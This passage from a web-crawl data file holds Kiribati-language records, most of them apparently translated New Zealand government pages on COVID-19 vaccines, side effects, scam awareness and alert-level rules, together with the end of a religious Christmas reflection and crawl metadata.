maiu inanora te Nati ao ngkanne e na bon iai te maiu inanora.\nAo ngkana ti maiu ibukin te Uea ao ngkannne ti na botaki ni mate ma Ngaia ao ti na mangauti naba ma Ngaia inanon te mimitoing ao te kabaia ae akea tokina. Ma ngkana ti aki kakoaua Iesu ba Natin te Atua ao ti aki maiuakina ana tangira ao ngkanne ti na bon raure nako ma Ngaia ao ti na mate n aki totoki.\nTariu ao maneu ngkana ti kani kamateraoa te baintangira ae ti tia anganaki n te Kiritimati aio ao ti riai ni kamaiua Iesu n tai nako inanora. Ti na butia tinara Nei Maria ba e na buokira ao ni kawakinira inanon ara kekeiaki ba ngkai bon tinara ngaia ao e na taui baira n tai nako ba ti na toua kawain Natina ae Iesu. Ao ti na roko n tokin kawaira are bon te rinnako n te Abanuea ae Karawa inanon te kabaia ao te mimitong ae akea tokina.","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1576-ane-iai-te-nati-irouna-ao-iai-te-maiu-irouna","date":"2021-05-06T04:43:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243988725.79\/warc\/CC-MAIN-20210506023918-20210506053918-00269.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":786,"character_repetition_ratio":0.057,"word_repetition_ratio":0.003,"special_characters_ratio":0.233,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Antai ae ena anganaki te iti n totoko?\nTe iti n totoko ibukin te COVID-19 eaki kaboaki, eaki kairoroaki itinakim iai, ao e tauraoi ibukia aomata ni kabane iaon Nutiran man te 12 te ririki ni waerake.\nE aki tabe teaba bwa tera am visa ke kain ia ngkoe. Ti na aki kabonganai rongorongo ake ti karekei ibukin ana mwakuri te Immigration.\nAntai ae e kona n itinaki n te iti n totoko ibukin te COVID-19?\nN ningai ae ko kona ni itinaki iai?\nAe tia tabe ngkai ni wakina anganakia te koraki te iti n totoko ni kurubu aika aua. Ni kabane aomata i Nutirana man te 12 te ririki ni waerake a kaina te group teuana man group aika 1 nakon 4.\nTe moanibwai tina katania nake a katautauaki bwa ea rangi ni kakai reke irouia te Covid-19 n aia tabo ni mwakuri. Aio ena kakerikaka kakai manga butin te aorakin tai aika ana roko ao kainan tabo.\nMuina tina itinia aomata ake a rangi ni kakai mamara ke ni kona ni mate ngkana e reke irouia te virus.\nTe kabanea tina itinia ni kabane aomata i Aotearoa ake 12 aia ririki ni waerake.\nTe iti e aki kaboaki nakoia aomata ni kabane, n aki tabeakinaki bwa aekakira am visa ke kain ia ngkoe.\nNgkana ko kainnanoa te mwananga nako tinaniku ian te tangira aomata ke ibukin bwai aika a kakawaki ibukin te aba, tao ko kona n bubuti bwa kona moantaai ni itinaki n te iti n totoko.\nTera te iti n totoko ae kona aganaki\nTe Pfizer ti ngaia te iti n totoko ibukin te Covid-19 are ea tia ni kariaiakaki kabonganana i Nutiran. A tia n reke i nanoni baira 10 million te dose (iti) – e tau ibukia 5 million te aomata ibukin uoua itia ake a kainnanoi ibukin katanaia raoi.\nAron mwakurin te iti n totoko e reireina ana tabo ni buaka rabwatam bwa ena kina ao ni buakana te virus.\nTe iti n totoko ae te Pfizer:\n- te RNA ae ngaia te tia ua rongorongo ibukin te iti n totoko ae te (mRNA)\n- akea te virus ae e maiu iai, ke te virus are e mate ke are matu\n- e aki kona n anganiko te COVID-19\n- e aki kona n kumekume am DNA\n- akea bwai ake a reke man te man iai.\nKo na riai ni itinaki kaua 42 te bong (6 te wiki ) i muin am moan iti\nTanin ao mwakurin te iti n totoko\nAna rabwata Nutian ibukin tanin bwainaoraki ae te Medsafe e rinanoi taian bubuti ibukin bwaiaoraki aika a bou ni kabane ibukin kabonganaia i Nutiran ni ikotaki ma bwainaoraki n totoko.\nMedsafe e ti anga ana kariaia ibukin te iti n totoko ngkana e kakoaua ao n onimakinna bwa:\n- ea tia n rinaoi tutuo ake a riai ibukin tanna iaon Nutiran\n- ea tia n rinanon taian tutuo ao kaetieti n te aonnaba ibukin tanna, mwakurina ao bonganana.\nTe iti n totoko ae te Pfizer e rangi ni korakora ana mwakuri nakon te aomata ngkana a bane raoi itina ake uoua. Ngkana a bane raoi itim n totoko, te katautau bwa ko na aki kona n rangi ni mamara ngkana e reke iroum te aoraki.\nKakae aika a tia ni karaoaki a katereterea are 95% ke 95 te katebubua mwaitia aomata ake a tia ni bane itia aika uoua, a noraki bwa a tan ma reken kanikinaean te Covid-19.\nE aera ngkai e kakawaki bwa ena itinaki te aomata n te iti n totoko?\nNgkana ko itinaki n te iti n totoko, ko aki ti kataniniko. Ko a karaoa naba tabem teutana ni kakerikaka kaewean te COVID-19 nakoia am utu, raoraom ao am community.\nE ngae n anne ao Ko bon riai naba n iri baike a riai ni karaoaki i muin itinakim n te iti n totoko\nE tuai raoi n ataki bwa ko na kona n kawea te virus i muin banen raoi itim n totoko ke ko aki.\nNi buoka katanam ao katanaia am utu ao tabeman riki, ko riai n reitanako totokoan butin te COVID-19 i muin itinakim n te iti n totoko. Uringnga n:\n- Teboki kaitiaki raoi baim.\n- Bekobeko ao matie nakon manokun baim.\n- Kabongana te matike n baon te botanaomata.\n- Taua muin mwamwanangam.\n- Kamaiua te Bluetooth tracing iaon te NZ COVID Tracer app.\n- Tiku ni mwengam ao tarebonia te Healthline (0800 358 5453) ngkana ko aoraki.\nRibotini rongorongo aika aki koua ke mwakuri ni babaka ni ikawai\nE rangi ni mwaiti rongorongo iaonrain ao n ana tabo te botanaomata n reitaki ibukin te iti n totoko. E kona n riao ao n kanganga atakin ae e na onimakinaki. Karekei am rorngorongo man tabo ake a onimakinaki ao tai tibwai rongorongo n aki akaka ma ti ngkana ko bon ata koauana.\nRiki bwa te tia iti ngkoe ibukin te iti n totoko\nTi tabe ngkai ni kakaia riki tan iti ibukin te iti n totoko ibukin boutokan wakin itinakia te botanaomata\nNgkana ngkoe te tia mwakuri n te tabo ni kuakua ae koa bentin ke koa aki ngkai mwakuri n te tabo ni kukua ao ko kan anga nanom, nakon ana uebutiati te Ministry of Health ni kabaea aram.\nLast updated:","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/the-covid-19-vaccine\/vaccine-basics\/","date":"2021-09-23T18:56:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057427.71\/warc\/CC-MAIN-20210923165408-20210923195408-00028.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":853,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.367,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A rangi ni mwaiti rongorongo iaonrain, ao iaon ana tabo n reitaki te botanaomata (social media) ibukin te iti n totoko ibukin te COVID-19. E kona n riao ao n kanganga atakin ae e na onimakinaki. Karekei am rorngorongo man tabo ake a onimakinaki ao tai tibwai rongorongo n aki akaka ma ti ngkana ko bon ataia bwa a koaua.\nKona kunei ia rongorongo aika a koaua\nKo kona ni kunei rongorongo aika a koaua (scientific based) n tabo aikai:\nTe Ministry of Health\nTaben te Botaki ni Kuakua (Ministry of Health) e kairi mwakuri n tararua ibukin mauria kain Nutiran ni ikotaki ma Mwauku, ao mani karioi ao ni babarongai raoi waki ibukin butiraoin te tararua.\nThe Immunisation Advisory Centre (IMAC)\nIMAC bon te botaki i are e tei n te School of Population Health n te University are i Auckland. A kona n reke mai iai, rongorongo aika a koaua ake a boboto iaon aia kakae tan rabakaui (scientific research) i Nutiran ke te aonnaba ibukin tenan aoraki ake a kona n totokoaki ni bwainaoraki n totoko ao bonganaia ao aki raoiroia.\nThe World Health Organization (WHO)\nTe WHO ngaia te botaki ae e kateaki ao mani mwakuri ian te United Nations ke botakin te aonnaba, ao are e katabeaki ibukin maurin te botanaomata n te aonnaba.\nCOVID-19 vaccine scams\nA mwaiti rongorongo aika ko riai n atai ibukin te iti n totoko ni kaineti ma mwakuri ni babaka ni ikawai:\n- Ko na aki kona n tuangaki bwa kona kabwaka bon am iti n totoko, ke ni kamatoa nnem n te rain ibukin te iti n totoko.\n- Rongorongo aika a koaua ibukin te iti n totoko ana roko man tabo aika a onimakinaki ibukin te mauri n aekan, Ministry of Health, Unite against COVID-19 ke am district health board (DHB).\n- Akea te tia mwakuri man te tabo ni kuakua ae ena kona n roko ni mwengam n anganiko te iti n totoko, ma ti ngkana e kaman tia ni barongaki taekana ma ngkoe.\n- Akea rongorongom ae kona titirakinaki n te text ke te emeeri (email). Ngkana ko noria ao ribotinna nakon CERT NZ ao tai kaboa te text ke te emeeri.\n- Ngkana arona bwa e roko iroum te emeeri, te tarebon, ke te SMS n titiraki ibukin rongorongom ni kaineti ma am mwane, bon te mwakuri ni babaka ni ikawai. Ribotinna nakon te CERT NZ n te tai ae waetata.\nNgkana ko nora te bwai ae ko taku bwa e aki koaua ibukin te iti n totoko, ribotinna nakon te CERT NZ (external link)\nAngana naba teuana bwa ko kona n tarebonia iaon te namba ae 0800 237 869.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/the-covid-19-vaccine\/safety-and-development\/how-to-find-trustworthy-information-and-avoid-scams\/","date":"2021-09-23T17:22:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057427.71\/warc\/CC-MAIN-20210923165408-20210923195408-00255.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":438,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.356,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Muin te iti n totoko aika aki toki n reke\nN aekan bwainaoraki nako, tao kona namakini muina aika a bebete 1—2 te bong i muin itinakim n te iti n totoko. E rangi n tabangaki aei, ao kanikinaen are rabwatam ea kataneiaia n buakana te virus.\nMuin te iti n totoko aki teiman, ao ana aki totokoa itinakim n am kauoua ni iti ke reitakinakoan kanoan am bong. Tabeua muin te iti n totoko ana kona n rota teutana am kabuti kaa, ke mwakurim ma mitin.\nMuin te iti aika a aki toki n ribotinaki:\n- marakin ke tibutauan te tabo are e itinaki\n- namakinan te kua ke bon te kua are e korakora\n- te maraki n atu\n- marakin te mwatireti\n- te mariri\n- marakin te toma n rii\n- te kabuebue ae korakora\n- baurauran te tabo are e itinaki\n- te kan mumuta\nTabeua muin te iti n totoko ake a rereke riki i muin te kauoua ni iti.\nNgkana ko aki mweraoi, ko kona ni:\n- katoka te kunikai are e maitoro, e mwaimwai, ke te ice are e nangoanaki n te kunikai iaon te tabo are e itinaki, tai kamnna\n- motirawa ao kabatia te moi\n- kabongana te paracetamol ke ibuprofen.\nN ningai ae kona kakaea iai buokam\nNgkana ko tabeaianga ke ko namakina te aki marurung i muin itinakim n te iti n totoko, taeta ma am taokita ke tabeman riki tan mwakuri n tabo ni kuakua ke tarebonia Healthline iaon 0800 358 5453.\nNgkana ko raraoma ibukin tanim, tarebonia 111. Tuangia ae ko tia ni itinaki n te iti n totoko ibukin te COVID-19 bwa aonga n tuoko raoi ao ni kaotinakoa aia reke ae e ti ibukim\nAllergic reactions ke kanganga ake a kona n reke\nA kona n reke kanganga aika a korakora ma a bon rangi n rianibwai rekeia.\nNgkana iai kanganga aika a korakora ake a tia n reke iroum i muin bwai n aoraki n totoko ke iti riki tabeua n tai aika a nako kaongoa am tia iti ibukin te iti n totoko ngkana ko roko n am tai ni iti.\nNgkana iai te kanganga ae e reke nakoim i muin te iti n totoko ibukin te COVID-19 ena iai te tia mwakuri man te tabo ni kukua are ena tararuaiko ao noria bwa ko raoiroi.\nRibotini kanganga aika a reke i muin te iti n totoko\nTe Centre for Adverse Reactions Monitoring (CARM) te tabo are a kawakinaki rongorongon kanganga ake a reke (side effects) man bwainaoraki nako ao bwainaoraki totoko i New Zealand.\nCARM e rinanoi tain rongorongro ni katebenakoi bwai ake a reke ni buoka kanakoraoan kabongan ao otanan bwainaoraki ibukia aomata.\nKo kona n ribotini kanganga aikia boni ngkoe ngkana ko tanigiria. Ribotinan kanganga ake a reke nakoim i muin te iti n totoko ana buoka kamwaitan riki rongorongo ake a ikoikotaki n te aonnaba, ao ni katebenakoi tamnein bwai aika a riki i Nutiran ao baike ana riki ibukin aki manon te aomata","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/the-covid-19-vaccine\/safety-and-development\/side-effects-of-covid-19-vaccines\/","date":"2021-09-16T12:03:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780053493.41\/warc\/CC-MAIN-20210916094919-20210916124919-00056.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":489,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.364,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N tabetai rongorongo aika kanakoaki ke ni kabutaki a bon nanonaki bwa a na kewenia te koraki ke ni mwamwanaia aomata. Ngkana a tia ni kanakoaki n aron aikai, ao n tabetai e kinaki bwa rongorongo aika karioaki, a bure taekaia ke boota n iango aika kairua.\nKairuan rongorongo aikai a kona n totokoa ara reitaki ni mwakuri n tokanikai iaon te man aoraki aei. E kona n karekea te maaku ke te aki ota ke totokoaia aomata man karaoan te waki ae riai man eti.\nTi aki kona n totokoi rongorongo aika kairua, ma ti kona n ibuobuoki i marenara n atai. N angin te tai:\n- e roko mairoun te aomata ae akea arana\n- e taekinna bwa e reke mairoun ana rabwata te Tautaeka ma e aki kona ni kaotia bwa e reke raoi ma ia\n- e taekinna bwa te rongorongo ae tibwaia e tauaki nakoia te botannaomata man aki tangiria te Tautaeka bwa e na ataki\n- e kuri n tainako ni kaireruaki bwa te \"rongorongo ae koaua\" are e a kakamaku riki nakon are bon koauan te rongorongo.\nN te tai aei;\n- taratara raoi bwa tera te rongorongo ae ko karekei man tabeakin\n- tuoa raoi bwa eti ao e koaua te rongorongo imwain tibwakina nakoia tebemwang.\nKo kona ni karekei rongorongo aika koaua ke n eti man kakabouan rongorongo mairoun te tautaeka are kakanakoa ni katoa bong, websites ke iaon taian katanoata rinanon te intanete (social media channels).","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/information-about-covid-19\/getting-the-right-information-matters\/","date":"2021-09-23T18:29:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057427.71\/warc\/CC-MAIN-20210923165408-20210923195408-00429.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":240,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te iti n totoko ibukin te COVID-19 e aki kaboaki, e aki kairoroaki itinakim iai, ao e tauraoi ibukia aomata ni kabane iaon Nutiran man te 12 te ririki ni waerake.\nNgkana ko itinaki n te iti n totoko, ko kataniko ao ko kakerikaka kaewean te COVID-19 nakoia am utu, raoraom ao am community.\nNgkana a bane raoi itim n totoko, ko naki rangi ni mamara ngkana e reke iroum te aoraki.\nAron mwakurin te iti n totoko e reireina am tabo n buaka rabwatam bwa ena kina ao ni buakana te virus.\nKona kune ikai rongorongon ao aron mwakurin te iti n totoko.\nTe iti n totoko ae te mRNA\nTe iti n totoko ae te The Pfizer bon te iti n totoko ae te mRNA ao iai te genetic code (ana mwakuri te geneti code bwa e karaoa te kabwarabwara nakon te DNA) are e rangi ni kakawaki ibukin te virus n te SARS-CoV-2 (COVID-19) ae te \"spike protein\". Spike proteins bon bwai ake a uarereke ake otinako i itinanikun kunin te virus.\nNgkana ko a tia ni itinaki n te iti n totoko ao rabwatam e wareka te code n te iti aei ao e kariki katotogan taian spike proteins ake a reke man itim.\nAna tabo ni buaka rabwatam e namakini taian \"spike protein\" aikai ao e e reireinna ni kinai ao ni buakana te COVID-19. E ataia ae ena riai ni kaitara te virus ibukin katanana ao totokoan butina n rabwatam.\nTe genetic code (ngaia te bwai e karaoa te kabwarabwara nakon te DNA) man te iti n totoko, e maenikun ao ngkanne ea bebete baitin kanakoana man te rabwata.\nBwai aika a rangi ni kakawaki aika kona riai n atai ibukn te iti n totoko ae te mRNA\nTe iti n totoko e aki kona n ananganiko te Covd-19\nTe iti n totoko ae te mRNA akea iai tenan virus ake ana kona n karika te Covid-19 ke virus riki tabeua ake a maiu, ake a mate ke ake a matu.\nTe iti n totoko eaki kumekumea am DNA\nE aki kumekumea ke n irereke ma am DNA ke genes. Te iti n totoko ae te mRNA eaki rinnako inanon te nucleus ke nukan raoi te cell, are e mena iai ara DNA.\nIti n totoko aika tenan mRNA a kaman kakaraoaki ao ni kakabobongaki n tai aika a tia n nako\nIti n totoko aika tenan mRNA a tia ni kabobongaki karaoakia man aia ikarekebai botaki ni mwakuri aika a bubura n te aonnaba.\nA tia tan kakae ni kamatebwaia ao ni mwakuri ma te iti n totoko ae te mRNA inanon ririki aika a mwati. Ni ikotaki ma kamatebwai ibukin iti n totoko ibukin te (buru) flu, Zika, rabies and cytomegalovirus (CMV).\nScientists (tan rabakau) a tia naba ni karaoi kakae iaon butin te coronavirus aika a tia n reke n aron te SARS ao te MERS. N te tai are e reke iai irouia tan rabakau tamnei te coronavirus are e karekea te COVID-19 a kataweia ni bita te rabakau anne nakon te COVID-19.\nE ngae ngke e bou te rabakau aei, te iti n totoko aio ea tia n rinanon taian tutuo, kaetieti ao tua aika a matoatoa ake a riai ibukin kaonganana.\nNi ikotaki ma te kakatai n te aonnaba ni buoka kamatatan aron mwakurina ao tanin te iti n totoka. Te iti n totoko ae te Pfizer ea tia ni kabonganaki ao n reitinako kabonganana n te aonnaba ao n reitinako naba taratarana ibukin mwakurina ao tanna.\nLast updated:","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/the-covid-19-vaccine\/safety-and-development\/how-the-vaccine-works\/","date":"2021-09-16T11:40:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780053493.41\/warc\/CC-MAIN-20210916094919-20210916124919-00093.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":590,"character_repetition_ratio":0.11,"word_repetition_ratio":0.007,"special_characters_ratio":0.225,"stopwords_ratio":0.398,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N te Karinan ni Kauring 2 ko riai:\n- Kateimatoa te tau raroa ae 2 te miita marangam ma aomata i tinanikun mwengam, ao 1 te miita n taabo ni mwakuri\n- kabonganaan rabunan te ubu iaon bao ni mwamwananga ibukin te botanaomata ao ngkana ko nang tokara baom ni kiba, n te taxi ke ngkana ko ibuoka ni bao ma tabeman, n tabo ni kuakua ao n tabo ni bobwai ake a teimatoa ni uki. Ko kaumakaki bwa ko na riai ni kabongana rabunan te ubu ngkana e na kanganga te tauraroa ma are irarikim.\n- Teboka ao kamwaua baim n tainako\n- Ngkana iai kanikinaean te aoraki iroum ae te kabuebue ke aorakin te mwaitoro ao ko riai n tiku ni mwengam.Tarebonia am taokita ke Healthline bwa ko na tuoaki. Tai mwananga, tai nakon te reirei ke te mwakuri\n- Taua mwin taabo ake ko nako iai ao aomata aika ko kaitibo ma ngaiia. Kabongana te NZ COVID Tracer app, te boki ibukin COVID-19 tracer, ke koroi mwia ni kabane.\nNangaoan te ubu ma Kamanoana\nIaan ana babaire te tautaeka ao e riai ni kabonganaki rabunan te ubu ngkana ti mena iaan karinan ni katauraoi 2:\n- iaon bao ni mwamwananga ibukin te botanaomata\n- ngkana ko nakon tabo ni kuakua\n- n tabo ni bitineti ke tieweti ake a uki, ike a nako iai katitamwati, n aron tubwamwakete, tabo n anai bwainaoraki, ao tabo ni bwa (petrol stations).\nE kaumwakaki kabonganan rabunan te ubu n te tai are ko kitana iai mwengam.\nKaroaon te bitineti inanon te mano\nTaan bitineti aika iri nanon kaetieti mairoun te tabo ni mwakuri ibukin kuakua a kona n uki nakoia aia taan mwakuri ao bon nakoia naba aomata.\nAna kaetieti te tabo ni mwakuri ibukin kuakua e rekereke ma aikai:\n- e na teretere ke ni kona n noraki rongorongon te NZ COVID Tracer app QR code ao e na iai naba tabeua riki anga ae na kona n tauaki iai mwia aomata; ao\n- e na teimatoa te kakaitiaki ae korakora n aron te tebo bai ao kateimatoan kaoan mataniwin taabo, ao\n- e na iraki nanon te tau raroa ke tauan marangam ma aomata.\nMwakuri aika karaoaki n aia tabo aomata – te katoto n aron mwengaia, ao mwakuri aika a rekereke ma kanian te aomata, a kona ni bane ni karaoaki ngkana e iraki nanon ana kaetieti te tabo ni mwakuri ibukin kuakua.\nAki kona taabo ni mwakuri ni karaoi aia mwakuri ngkana e aki iraki nanon kaetieti aikai.\nA kaungaki bitineti nako bwa a na riai n rabakau ni kabonganai aanga ni mwakuri tabeua ngkana e angaraoi ao a na reitaki ma aia taan mwakuri bwa a na kona n atai ke n nori kanganga ao ni kona naba n tararuai ke n totokoi rikiia.\nTaian bitineti a riai naba ni kona ni kaitarai aanga ni kateimatoa te marurunga ao te mauri, ao a na kawakinia aia taan mwakuri bwa a na mano ao ni marurung ao e iraki nanon tuan te kamwakuri.\nTe reirei inanon karinan 2\nTe reirei ibukia ataei aika a uarereke, aia reirei ataei, ao reirei ake a rietata a na bane n uki ibukia te roro ni kabane.\nAkea te kanganga bwa mano ataei inanon aia tabo n reirei.\nA riai ataei ke roro n rikirake n tiku ni mwengaia ngkana:\n- aoraki\n- iai irouia ana kanikina COVID-19\n- a tiku ni kaokoroaki ibukin te aoraki\n- tataninga okin mwin aia tutuo n te COVID-19.\nTe mwamwananga ao te mwainging n te Kauring Karinan 2\nNgkana ko bon aoraki, tiku ni mwengam.\nNgkana ko marurung, ko kona ni mwananga. Ma uringa karaoia n te aro ae ko na mano iai.\nTe kamarurung ao taabo n takakaro n te Kauring Karinan 2\nN te Kauring Karinan 2, ko kona n karaoa am takakaro ae ko taneiai iai ao am mwakuri ni kamarurung ngkana ko bon kona n karaoi n te aro are kona mano iai. Ma ngkana ko aoraki, tiku ni mwengam.\nNgkana ko karaoa am kamarurung n ana tabo te botannaomata, kataia kawakina tauan marangam ae 2 te miita mairouia aomata aika ko aki kinaia ke n taneiai ma ngaiia.\n- Ko kona n karaoi mwakuri n aekan:\n- te rianna, te bwatika ao te tiriman n taabo ake akea kaina\n- te nako n uaua n te tabo n uaua ibukia aomata, ma iai naba taian tua aika a na iraki nanoia\n- te nakon te tabo ni kamarurung, ma iai naba taian tua aika a na iraki nanoia\n- te buti n te booti ao takakaro i tari.\nTaian botaki irouia aomata\nTe botaki irouia aomata e na riai n aki raka ke n riaon 100 te aomata n te tabo ae katauaki n te tai teuana ma teuana.\nAio n ikotaki ma:\n- kawaran am auti irouia am iruwa\n- te botaki n te utu\n- te botaki ni mare\n- te botaki inanon te aro\n- taian kirabu n aekaia nako ao taabo n takakaro\n- botaki aika onoti n aron te bong ni bung ke aia botaki mmwaane ibon irouia.\nE aki ikotaki mwaitia koraki ke aomata ake iai tabeia ibukin te botaki ma te mwaiti are katauaki ae 100.\nKateimatoa itiakin mataniwiin am tabo, teboka baim n tainako ao kateimatoa te tau raroa ma aomata ngkana e angaraoi. Ngkana ko aki kona n taua raoram ke marangam mairouia aomata aika ko aki kinaia, iangoa kabonganan te nangoa n ubu.\nIan te tua ao e kantaningaki te aomata are tabeakina te botaki bwa e na riai n taui mwia aomata ake a roko n te aro are ngkana e na riai n karaoaki te ruamwi ao e na bebete. E aki kainanoaki aio ngkana a bon kinaia ibon irouia kain te botaki, ma bon te iango ae rang raoiroi karaoana.\nNgkan iai am tabo ni botaki ae ko tangoia, e riai n iraki nakon te babaire ke te kairiri iaon tauan mwia aomata.\nLast updated:","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/the-alert-levels\/living-at-level-2\/","date":"2021-09-23T18:26:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057427.71\/warc\/CC-MAIN-20210923165408-20210923195408-00474.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":961,"character_repetition_ratio":0.055,"word_repetition_ratio":0.004,"special_characters_ratio":0.221,"stopwords_ratio":0.38,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ni Karinan ni Katauraoi 4 (Alert Level 4) ko riai:\n- n tiku ni mwengam ti kitanna ngkana iai mwanangam ae e riai\n- kaonota am buroburo. E kakawaki bwa kona kamanoia kain am buroburo ni kabane\n- kamwarangako 2 te mita mai irouia aomata man am buroburo ake tabeua ngkana ko kitana am auti ibukin mwanangam ae e riai\n- tiku ni kamarurung n am aono\n- bobwai n titoan am aono\n- mwakuri ao kamwatebwai man mwengam. Tabeman taan mwakuri a kona n reitanako kaean aia mwakuri ma e rangi n tiatianaki aei.\n- kabonganaan rabunan te ubu iaon bao ni mwamwananga ibukin te botanaomata ao ngkana ko nang tokara baom ni kiba, n te taxi ke ngkana ko ibuoka ni bao ma tabeman, n tabo ni kuakua ao n tabo ni bobwai ake a teimatoa ni uki. Ko kaumakaki bwa ko na riai ni kabongana rabunan te ubu ngkana e na kanganga te tauraroa ma are irarikim.\n- teboki ao kamwaui baim n tainako. E kakawaki bwa kona tararua ao ni kawakina maurim, ni ikotaki ma te tebo bai, te bekobeko ao te mwatie nakon manokun baim, ao ni bwaina kaitiakan taabo ake aki toki ni kabonganaki.\n- kawakini mwin mwanangam ni kabongana te NZ COVID Tracer app, te COVID boki ibukin tauan mwin mwamwanangam, ke n taua mwina iaon te beba. Aio e na rangi ni ibuobuoki ibukin baitiin te reitaki ma ngkoe ngkana ko kainanoaki.\nKarekea itim ngkana e a tia ni bae am tai\nKo kona ni itinaki n te karinan ni katauraoi ae Alert Level 4 ngkana e a tia ni bae am tai. Ana uki taian tienta ibukin te iti. Ana mwakuri iaan kaetieti n tiatianaki iaan karinan ni katauraoi 4 (Alert Level 4 restrictions). Ti kaumakiko bwa ko riai ni itinaki n aron are e baireaki.\nKamanena rabunan te ubu\nIaan ana babaire te tautaeka ao e riai ni kabonganaki rabunan te ubu ngkana ti mena iaan karinan ni katauraoi 4:\n- iaon bao ni mwamwananga ibukin te botanaomata\n- ngkana ko nakon tabo ni kuakua\n- n tabo ni bitineti ke tieweti ake a uki, ike a nako iai katitamwati, n aron tubwamwakete, tabo n anai bwainaoraki, ao tabo ni bwa (petrol stations).\nE kaumwakaki kabonganan rabunan te ubu n te tai are ko kitana iai mwengam.\nMwananga aika kariaiakaki ian Alert Level 4 ke karinan ni Katauraoi 4\nMwamwananga ake a kariaiakaki ian karinan ni Katuraoi 4 a tiatianaki ni kaineti ma bukia akana a kaotaki inano. Ngkana ko mwananga ian teuana bukin mwanangam are e kariaiakaki, ao akea riki te bae e tangiraki ibukin mwanangam. Ma kona riai n uota kakoauan bukin mwanangam.\nNgkana iai iroum kanikinaean te COVID-19, koa tia ni kaan ma te aomata are e reke irouna te COVID-19 ke ngkana e kuneaki te COVID-19 n am tutuo kona aki riai ni mwananga – e ngae ngke e kariaiakaki– ao kona riai n tiku ni kaonotiko, ao n tarebonia te Healthline ibukin buokam ao karaoan am tutuo.\nKo kainnanoa buokam?\nNgkana iai am kanganga n te mwane, am iango ke marurungin rabwatam e na kona n reke te buoka nakoim.\nLast updated:","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/the-alert-levels\/living-at-level-4\/","date":"2021-09-23T19:02:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057427.71\/warc\/CC-MAIN-20210923165408-20210923195408-00536.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":504,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tararuan te virus bwa e naaki roko i Nutiran e tiku bwa ngaia te kabanea ni kakawaki ibukin te moan totoko.\nAngiia taan mwananga nako Nutiran a riai n karekea mwin aia tutuo ae e na oti bwa akea manin te COVID-19 man tabo n tutuo ake a tia ni katauaki, ana riai n tauraoi mwin te tutuo 72 te aoa imwain moan kitanan abaia nako tinaniku.\nAba akana 